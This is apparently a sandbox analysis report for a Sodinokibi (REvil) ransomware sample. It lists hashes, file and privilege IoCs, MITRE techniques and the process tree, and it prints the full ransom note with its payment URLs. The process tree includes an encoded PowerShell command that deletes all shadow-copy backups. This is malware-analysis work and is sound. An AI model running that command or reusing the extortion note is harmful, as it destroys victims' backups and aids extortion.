sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

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28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
146s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

9e9b0ef4fc739c3eb36a762122451992
SHA1

035fe67a3d04f0a678724851cabc917b28416fe1
SHA256

0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820
SHA512

01435694c0941b004584d40c3d11866e8f319445ed937095d9777911bd6f36c6bd9449b4effa369120cf6ded9de9a375719e256c6f8380bd5fbd4f4ca0c6d715
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q7FTivJ:NJ0BXScFyfC3Hd4yg7Fu

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Program Files (x86)\59p3b8wh-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 59p3b8wh. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/422C6ED8FFBE2D00 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/422C6ED8FFBE2D00 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: IEjH0SYG50b2v9t1JwmoXpRi2JdJRL6CLMX8uLYPfv4i4giwKziy5ba5wJNkMrAt jp2MY/OzlZVkCo747H4frKRi9tNN4cDL7PW+rBhARaALAXVPhb5K9JXvTK+ErThu WryNQmnmqlmDd1ILCtdCKE0HG6Xr190bFzvUmIpbrbCLKW1pe9RXizdy/BoSTSrM OVwrLtqLjqw9pbvlImRaPHow3VtJFB8dneh2ItTRR4GMyXPWb0seQx/KKmIdUb2f Fowu/VdaV5gHGqY3orR3mCPOLr2JParP5AV4DyL0YonuupqvHAjukdUXESWHtsP2 TiPAVYNSyes6oTXfCz1IH4REzSZDprUI4ps1LAuRLYQCbJINaLk4mU1PU5C2pDmR FqBaM4NN73odkRePZcgGDzzm9jvvq5QvuA7+sj56XZ0c9sAyzgJLk3olr2WyO4+Z m4gYaN7IG8/L69Va9fOWjdtV1h2QyLpfcID9sefITr2bD20rjEj3U0eyHGeDvkKI JdU4PEDKI/wnJSBb5Cy5RyY9d2vSsOIEXfYUq7QfSXrSoUXavjk5CSJtoezoWPJt QUZXypEiFbVZFy1QArxpNLGobxqGx2mSljcc8BOcYKaaTZxP+K8FA6ckW/VNawp2 hAYOEk1ZYErST6iRPyb2h0kDB7I8Gx+1skINU+cBOqGMqircFgZ6fre3XRWRG7fh fQNgH/TMeLHR5Rl5clsXAdRn2eXz5HPdDta4O+w6xISluJg7dgu5lFsFbDK+olGs OShcgHL4urDJM0/fz0DncND0t5/XP3KPK70LO+ty3dz1ZDCtUql6zLX306uY7HI8 yfwj+4XingkJnF9g1/Ng86ljFAjLD4hy3B/sKl7YD6BBbin4YVqsCF/eojWEdN3X QhQcifqXW6/dYSnw/3BG1HqNlMg4f+/cKX7zFV+XqVgkOSlYp6CrFj7nlHHutuZA 2sU5DuqVyWnxK8fvA1/fh4L9DqEt3opPW1uolAeBHyIJ+QrRK0GSeGDRPmWdfOwk 6qPTLU0BuVv1WYsBKcE73XXsm7CmEc2zuGhfCAB5eGpOYGAWDTp9cT53qHI7qIq7 RK7lXp7XKjYSsddr6iUJ7XfOORLiocQOeEc8m+Tgv7sWy5mWCEvyrVGAf9eMKqip 8TT8p9CDb1lR1titv03MT0UmeDziOx2BpfPSWPfpb/vfFMn0DFz9ypk9rGIbIF+8 E5KcKdtlHU0YZdFB7pci52m5ef6ZAC8LyXp0RNgqV79wOLh1yOe04WXVWnneG6oG fSqxGEjeGo3WrcQoM6Jwsqb7W1Sjt0RLyCdKczsKINoVZHsRdhnh5LvHu/8RIlf6 6eTaAhE8DXUTVdk3Iyp1A19AMwOidonkvmolzUJY02C7RH+gAxKUraOv Extension name: 59p3b8wh -------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!! A system of morality which is based on relative emotional values is a mere illusion, a thoroughly vulgar conception which has nothing sound in it and nothing true. Socrates

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/422C6ED8FFBE2D00

http://decryptor.cc/422C6ED8FFBE2D00

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe

Drops file in Program Files directory 31 IoCs

Processes:

rundll32.exe

description	ioc	process
File created	\??\c:\program files\59p3b8wh-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConnectOut.vdw	rundll32.exe
File opened for modification	\??\c:\program files\SaveGet.i64	rundll32.exe
File opened for modification	\??\c:\program files\TraceConfirm.xsl	rundll32.exe
File opened for modification	\??\c:\program files\ResetStop.dotx	rundll32.exe
File created	\??\c:\program files (x86)\59p3b8wh-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConnectGroup.snd	rundll32.exe
File opened for modification	\??\c:\program files\InstallCompress.mid	rundll32.exe
File opened for modification	\??\c:\program files\PingDismount.vst	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveResume.wdp	rundll32.exe
File opened for modification	\??\c:\program files\CloseEnter.sql	rundll32.exe
File opened for modification	\??\c:\program files\InitializeUnblock.ex_	rundll32.exe
File opened for modification	\??\c:\program files\CompletePush.m1v	rundll32.exe
File opened for modification	\??\c:\program files\RenamePush.tif	rundll32.exe
File opened for modification	\??\c:\program files\WriteGrant.zip	rundll32.exe
File opened for modification	\??\c:\program files\FindUnlock.wmf	rundll32.exe
File opened for modification	\??\c:\program files\HideFind.jfif	rundll32.exe
File opened for modification	\??\c:\program files\MergeRestart.ppsx	rundll32.exe
File opened for modification	\??\c:\program files\PingRepair.rm	rundll32.exe
File opened for modification	\??\c:\program files\RepairSuspend.asp	rundll32.exe
File opened for modification	\??\c:\program files\HideSplit.eps	rundll32.exe
File opened for modification	\??\c:\program files\OutRead.wmf	rundll32.exe
File opened for modification	\??\c:\program files\PublishComplete.3g2	rundll32.exe
File opened for modification	\??\c:\program files\RevokeOptimize.css	rundll32.exe
File opened for modification	\??\c:\program files\EnableUndo.htm	rundll32.exe
File opened for modification	\??\c:\program files\GrantRead.DVR	rundll32.exe
File opened for modification	\??\c:\program files\LimitRead.wma	rundll32.exe
File opened for modification	\??\c:\program files\NewConvertFrom.3gp	rundll32.exe
File opened for modification	\??\c:\program files\StopMerge.eprtx	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectSuspend.aiff	rundll32.exe
File opened for modification	\??\c:\program files\SaveConvertFrom.wm	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4068 rundll32.exe
4068 rundll32.exe
2356 powershell.exe
2356 powershell.exe

pid	process
4068	rundll32.exe
4068	rundll32.exe
2356	powershell.exe
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4068	rundll32.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeBackupPrivilege	772	vssvc.exe
Token: SeRestorePrivilege	772	vssvc.exe
Token: SeAuditPrivilege	772	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 4500 wrote to memory of 4068	4500	rundll32.exe	rundll32.exe
PID 4500 wrote to memory of 4068	4500	rundll32.exe	rundll32.exe
PID 4500 wrote to memory of 4068	4500	rundll32.exe	rundll32.exe
PID 4068 wrote to memory of 2356	4068	rundll32.exe	powershell.exe
PID 4068 wrote to memory of 2356	4068	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2356

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1000

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:772

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files (x86)\59p3b8wh-readme.txt
Filesize
7KB

MD5
0b52fc983bdbd9326cc783c14105016c

SHA1
25be6450091198ff37bf1f90f50d3e170068be1f

SHA256
c38d5ab74a0ef86bc406aea332676e352aa0c8c946513aef82f9aae909b0dc1c

SHA512
476d941f5c481793dc7eadf6557378163f9e618998cb393e9eb05682165e178875a4f82ef5ee6b4fea82c5e4e703684de9bf262adc55a5b0c98625d9a62595f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mplt4jkd.h04.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2356-8-0x000001929C1C0000-0x000001929C1E2000-memory.dmp

Filesize
136KB

Download
memory/2356-9-0x00007FFBC2C10000-0x00007FFBC36D2000-memory.dmp

Filesize
10.8MB

Download
memory/2356-10-0x0000019283A60000-0x0000019283A70000-memory.dmp

Filesize
64KB

Download
memory/2356-11-0x0000019283A60000-0x0000019283A70000-memory.dmp

Filesize
64KB

Download
memory/2356-12-0x0000019283A60000-0x0000019283A70000-memory.dmp

Filesize
64KB

Download
memory/2356-15-0x00007FFBC2C10000-0x00007FFBC36D2000-memory.dmp

Filesize
10.8MB

Download